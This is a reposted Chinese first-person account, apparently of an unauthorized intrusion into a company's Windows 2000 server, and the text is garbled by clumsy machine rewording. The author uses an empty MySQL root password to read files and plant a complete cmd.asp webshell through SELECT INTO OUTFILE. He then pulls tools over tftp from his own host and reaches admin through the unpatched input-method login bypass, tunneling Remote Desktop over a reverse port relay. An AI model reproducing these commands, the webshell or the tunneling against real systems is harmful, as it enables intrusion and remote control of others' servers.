通过Mysql检测服务器pc软件 文章资讯 手机软件

您当前的位置→图文中心电脑技术通过Mysql检测服务器

通过Mysql检测服务器


2008/12/21  编辑:佚名 来源:本站整理  关键词:

通过Mysql检测服务器

 

某天晚上就在IRC的时候, 一个老网友朋友说帮他看看他的新主页首页的安全性, 之后给出URL是abc.target.net,我一看觉得挺眼熟的, target.net公司里面的CEO, 人事部经理, 网管我都认识的, 前段时间还差点去了那里做网管呢, 呵呵, 那就看看他们的服务器做的怎么才能吧。     随后用nmap扫描了一下abc.target.net, 发现开的端口挺多的, 看来没有安装防火墙或做TCP/IP过滤。 从IIS版本判断是Windows 2000的服务器。 IIS没什么好利用的, 一看开了3306端口, 是mysql的, 就用我的mysql客户端尝试连载了一下, root的密码竟然为空, 后来就觉得没有多大意思, 于是把目标转到www.target.net, 他们的主站, 哈哈。     Ok!先用nmap扫描一下, 扫描结果如下:  25/tcp open smtp  53/tcp open domain  80/tcp open http  110/tcp open pop-3  389/tcp open ldap  1002/tcp open unknown  3306/tcp open mysql    之后从IIS版本判断目标是windows 2000服务器。 从开放的端口来看, 它要么是安装了防火墙, 要么是做了TCP/IP过滤, 呵呵, 比abc.target.net有意思多了。 从25和110端口返回的数据信息来看, 他们用的邮件服务器是IMail 6.04, 没什么可利用的。 IIS上面网管做了安全配置, 一些默认的CGI漏洞也没有, 这也没什么好利用的。 只剩下最后一个端口了, 习惯性的用我的mysql客户端连载试试:    F:\cmd>mysql -u root -h www.target.net  Welcome to the MySQL monitor. Commands end with ; or \g.  Your MySQL connection id is 3038 to server version: 3.23.21-beta  Type help; or \h for help. Type \c to clear the buffer  mysql>    呵呵, 不好意思, 看来网管没有给mysql帐号root布置设置一个密码, 是默认的空密码, 那么我们我自己就可以能够利用这个漏洞来做点什么了。 如果是MS-SQL数据信息库的话就好办啦, 直接可以能够用xp_cmdshell来运行系统system命令, 但是可惜的是mysql没有类似MS-SQL那样的扩展存储过程。 现就在我们我自己可以能够利用这个漏洞来做三件事情:  <1>搜索mysql数据信息库里面的内容, 看能不能够找出一些有用的敏感信息, 我找了一会儿就不想找了, 呵呵    <2>读取服务器上的任意一个文件程序, 当然前提是知道文件程序的物理路径    <3>以启动mysql服务用户的权限往服务器上写文件程序, 前提是这个文件程序要不存就在的, 就是说不能够覆盖文件程序    如果我们我自己知道IIS主目录的物理路径的话,我们我自己就可以能够往上面写一个ASP上去, 之后可以通过IE来执行系统system命令。 怎么得到IIS目录的物理路径呢?天知道!没办法, 猜吧。 。 。 。 。 。 先就在mysql默认数据信息库test中建一个表tmp, 这个表只有一个字段str,类型为TEXT,    mysql> use test;create table tmp(str TEXT);  Database changed  Query OK, 0 rows affected (0.05 sec)    之后凭着我自己做网管的直觉, 现在开始猜测IIS主目录的物理路径, c:\inetpub\wwwroot, c:\www, c:\wwwroot, c:\inetpub\web,d:\web, d:\wwwroot, 都不对, 55555。 大概猜测到第10次, 我的mysql客户端回显信息如下:    mysql> load data infile d:\\www\\gb\\about\\about.htm into table tmp;  Query OK, 235 rows affected (0.05 sec)  Records: 235 Deleted: 0 Skipped: 0 Warnings: 0    哈哈哈, 猜中了, IIS主目录的物理路径是d:\www, 因为上面的文件程序的虚拟路径是http://www.target.net/gb/about/about.htm, 看来我得到一个shell了, 呵呵。     接下来我们我自己就可以能够往d:\www\gb\about里面写一个ASP文件程序进去, 之后可以通过http://www.target.net/gb/about/cmd.asp来执行系统system命令了。     之后就在网上找来一个现成的cmd.asp, 懒的我自己去写了:)。 Cmd.asp如下:  -------------------------------cmd.asp----------------------------------------    <% Dim oScript  Dim oScriptNet  Dim oFileSys, oFile  Dim szCMD, szTempFile  On Error Resume Next  Set oScript = Server.CreateObject(WSCRIPT.SHELL)  Set oScriptNet = Server.CreateObject(WSCRIPT.NETWORK)  Set oFileSys = Server.CreateObject(Scripting.FileSystemObject)  szCMD = Request.Form(.CMD)  If (szCMD <> ) Then  szTempFile = C: & oFileSys.GetTempName()  Call oScript.Run (cmd.exe /c & szCMD & > & szTempFile, 0, True)  Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)  End If %>  <HTML><BODY><FORM action=<%= Request.ServerVariables(URL) %> method=POST>  <input type=text name=.CMD size=45 value=<%= szCMD %>><input type=submit value=Run></FORM><PRE>  <% If (IsObject(oFile)) Then  On Error Resume Next  Response.Write Server.HTMLEncode(oFile.ReadAll)  oFile.Close  Call oFileSys.DeleteFile(szTempFile, True)  End If%>  </BODY></HTML>    ----------------------------end of cmd.asp-----------------------------------    由于往mysql数据信息库中插入数据信息的时候, 会过滤特殊字符什么的, 例如双引号之类的, 特别麻烦。 各位留意没有, 上面的ASP语句中, 都是两个双引号一起的, 这样才能写进去, 本来是一个双引号的。 之后我就在数据信息库中再建一个表:    mysql> use test;create table cmd(str TEXT);  Database changed  Query OK, 0 rows affected (0.05 sec)    之后用如下语句, 一句一句把上面的ASP写进去:    mysql> insert into cmd values(一行一行的asp代码, 呵呵);    为什么不全部一起写进去呢?呵呵, 换行后, 一会儿导出的文件程序就一定会有特殊字符了, asp就不能够正常运行了, 只能辛苦点一行一行写了。 之后把asp文件程序导到服务器上:    mysql>select * from cmd into outfile d:\\www\\gb\\abou\\cmd.asp;    之后把我们我自己刚才建的表都删除掉:    mysql> use test; drop table tmp; drop table cmd;    ok!我们我自己得到一个shell了, 虽然权限不高, 但毕竟已经向取得admin权限迈出一大步了, 不是吗, 呵呵。 做这个asp文件程序可花了我不少时间,哦。 现就在我们我自己利用这个shell来收集系统system信息, 尝试取得admin权限。     <1>先看一下系统system文件程序权限布置设置怎么才能:  c:\ Everyone:(OI)(CI)F  d:\ \xxx:(OI)(CI)(DENY)(特殊访问:)  DELETE  READ_CONTROL  WRITE_DAC  WRITE_OWNER  STANDARD_RIGHTS_REQUIRED  FILE_READ_DATA  FILE_WRITE_DATA  FILE_APPEND_DATA  FILE_READ_EA  FILE_WRITE_EA  FILE_EXECUTE  FILE_DELETE_CHILD  FILE_READ_ATTRIBUTES  FILE_WRITE_ATTRIBUTES    Everyone:(OI)(CI)F    看来我们我自己现就在就可以能够读写硬盘上的任意一个文件程序了, 现就在就可以能够改他的首页了, 但这样做没意思, 对不对, 我们我自己的目标是取得admin权限, 呵呵    <2>之后搜索一下硬盘上都有些什么文件程序:  c:\Program Files 的目录下有两个比较有意思的文件程序,     2000-12-19 13:10  Serv-U  2001-01-20 22:43 绿色警戒    把Serv-U里面的用户和密码读出来看看后, 没有什么用处, 之后进入绿色警戒目录看看, 呵呵, 除了log外, 什么都没有, 呵呵。     <3>再看看都有哪些用户:  Guest IUSR_SERVER_1 IUSR_SERVER-2  IWAM_SERVER_1 IWAM_SERVER-2 ceo  TsInternetUser    管理员有ceo 和target\Domain Admins, 看来这台机器是他们域中的一台服务器。 现在开始本来想给ceo下一个套, 就在他的启动目录里放一个程序, 但后来看到这个帐号已经几个月没登陆了, 就放弃了。     <4>看看启动了那些服务, 这几个比较有意思, 看来都是默认的:  Task Scheduler  Simple Mail Transport Protocol (SMTP)  Task Scheduler    <5>看看网络net状况, 这几个比较有意思:  TCP 0.0.0.0:21 0.0.0.0:0 LISTENING  TCP 0.0.0.0:119 0.0.0.0:0 LISTENING  TCP 192.168.1.3:3389 0.0.0.0:0 LISTENING    看来有TermService, 不过就在网卡上做了TCP/IP过滤, 只对内网开放, 那么我们我自己就来    <6>看看网卡布置设置信息:  Ethernet adapter 本地连载:  Connection-specific DNS Suffix . :  Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter  Physical Address. . . . . . . . . : 00-E0-4C-68-C4-B2  DHCP Enabled. . . . . . . . . . . : No  IP Address. . . . . . . . . . . . : 192.168.1.3  Subnet Mask . . . . . . . . . . . : 255.255.255.0  Default Gateway . . . . . . . . . :  DNS Servers . . . . . . . . . . . :  Ethernet adapter 本地连载 2:  Connection-specific DNS Suffix . :  Description . . . . . . . . . . . : Realtek RTL8139(A) PCI FastEthernet Adapter#2  Physical Address. . . . . . . . . : 00-E0-4C-68-B8-FC  DHCP Enabled. . . . . . . . . . . : No  IP Address. . . . . . . . . . . . :xxx  Subnet Mask . . . . . . . . . . . :  Default Gateway . . . . . . . . . :      经过上面的一些步骤, 对这台服务器的布置设置情况就有了一个大概的了解。 怎么才能取得admin权限?netdde?pipeupadmin?呵呵, 再也不能够利用, 没有可利用的可以能够登陆的用户。 下套?等到什么时候, 呵呵。 Okok!让我们我自己来看看这个系统system都打了些什么补丁。 怎么查看?呵呵, 打了补丁后, 信息都会存贮就在注册表中, 查询注册表中的这个键值就行了:HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix, 这样的话, 我们我自己得上传一个reg.exe到服务器里面, 我们我自己才能操作他的注册表。 现在开始我想用先写一个ftp脚本, 之后ftp -s:cmd.txt让他到我的服务器来下载, 但结果失败了, 后来才想起他做了TCP/IP过滤, 5555, 我记性真不好。 怎么办呢?有办法, 用tftp来传输。 我先就在我的服务器上安装了一个Cisco TFTPServer, 之后就在目标机器上运行tftp -I www.eyas.org GET reg.exe, 呵呵, 传输过去咯。 之后运行REG QUERY HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix    返回数据信息如下:  Listing of    ==〉这个不知道是什么东西, 好象默认2k机器上都有==〉Q269862_W2K_SP2_x86_CN.EXE==〉Microsoft IIS Unicode解码目录遍历漏洞!==〉Q277873_W2K_sp2_x86_CN.EXE==〉Microsoft IIS CGI文件程序名检查漏洞!    呵呵, ==〉和后面的说明是我加上去的, 不是注册表中的。 看来管理员不太勤快啊, 只打了两个补丁。     哈哈!到了这一步, 大家想到怎么取得admin权限了吗?呵呵, 您一定也想到了, 他的机器开了TermService服务, 但windows2000登陆验证可被绕过的漏洞没有安装补丁, 此补丁为Q270676_W2K_SP2_x86_CN.EXE。 由此看来, 管理员只是删除了协助法文件程序, 而没有打补丁。 用dirc:\winnt\help\win*验证一下, 果然没有熟悉的输入法协助文件程序。 敌人没有输入法, 我们我自己帮他造, hoho~~别忘了我们我自己可以能够往任意一个地方写文件程序哦    嘻嘻, 咱们也别高兴的太早了, 别忘了他的机器做了TCP/IP过滤哦, 我们我自己是没有办法连载到他的3389端口的。 一定不要着急, 一定不要着急, 让我们我自己先来看看他的TCP/IP过滤的布置设置情况。 怎么看呢?老办法, 查看注册表里面的键值啦。 用刚才的reg.exe查询    〈1〉reg QUERY HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces  Listing of     〈2〉reg QUERY HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}  Listing of  MULTI_SZ IPAddress ;  MULTI_SZ TCPAllowedPorts 25;53;80;110;3306;  MULTI_SZ UDPAllowedPorts 0;  MULTI_SZ RawIPAllowedProtocols 0;    〈3〉reg QUERY HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces{612A3142-DB85-4D4E-8028-81A9EB4D6A51}  Listing of  MULTI_SZ IPAddress 192.168.1.3;  MULTI_SZ TCPAllowedPorts 0;  MULTI_SZ UDPAllowedPorts 0;  MULTI_SZ RawIPAllowedProtocols 0;    篇幅关系, 我过滤了一些输出。 第二次查询的是外网网卡, 我们我自己可以能够得知只开放了TCP 25, 53, 80, 110, 3306, UDP全部, IP协议全部。     第三次查询的是内网网卡, 没有任意一个限制。   现就在我们我自己可以能够把输入法协助文件程序上传到他的c:\winnt\help目录下去, 之后如果能连载到他的3389端口的话, 我们我自己就可以能够得到admin权限了。 问题的关键是外网网卡做了TCP/IP限制。 55555, 怎么办呢?怎么才能突破?有办法!我们我自己可以能够利用socket转发和反弹端口技术, 照样可以能够连载到敌人的TermService!    具体过程如下:  〈1〉就在我的另一台服务器www.eyas2.org上运行一个程序, 监听3389端口, 监听11111端    口, 当然了, 第2个端口可以能够随便选, 第1个端口选其他的话, 就要相应的修改TermClient, 比较麻烦    〈2〉就在www.target.net运行另外一个程序, 先连载到www.eyas2.org:11111, 再连载到192.168.1.3:3389    〈3〉 我的TermClient连载到www.eyas2.org:3389, 这样, 数据信息通道就全部建立好了。 接下来, 两个程序就忠实的为我们我自己转发数据信息了。   提醒一定要注意:www.eyas2.org和www.eyas.org可以能够为同一个台服务器, 但要保证www.target.net能connect上您的服务器。 192.168.1.3也可以能够换为他内网的任意一个一个IP。 这样, 当我用TermClient连载到www.eyas2.org的时候, 其实是连载到www.target.net。 当熟悉的登陆界面出现就在我面前, 我熟练的调出输入法, 取得admin权限, 呵呵, 心里还是有那么一点点成就感!    有关联于〈利用socket转发和反弹端口技术突破防火墙进入内〉的详细说明和程序原代码解读请参见我另一篇文章。     简要的回顾一下:发现mysql漏洞==〉凭直觉猜中IIS物理路径==〉写一个cmd.asp文件程序上去得到一个shell==〉利用系统system配置错误取得admin 权限接下来要做的事情, 就是把漏洞通知他们的网管了, 本来想就在那机器上装个sniff什么的, 再用来做跳板进一步尝试入侵他的内网, 但后来想想还是算了, 呵呵。

相关文章
  • 招商银行无锡市ATM机也可以通过"刷脸"不过安全担忧
  • 微信端王者荣耀新一期活动 老玩家可以通过换取参加
  • 飞碟通过扭曲时空来超速前进
  • 学生提出博士论文证明地球是平的,已通过批准!
  • 王者荣耀通过关技巧,教你如何获得高积分
  • 手游实名认证将开启 未通过身份验证者无法充值
  • win10如何通过PID号结束进程
  • 如何通过系统设置延长iPhone续航
  • 原来QQ更换密保手机后,可通过原密保手机取消更改操作
  • SEO霸屏技术分享:通过高权重网站借力打力
  • 发表评论
    阅读排行
    相关热门
    网站帮助 - 广告合作 - 下载声明 - 网站地图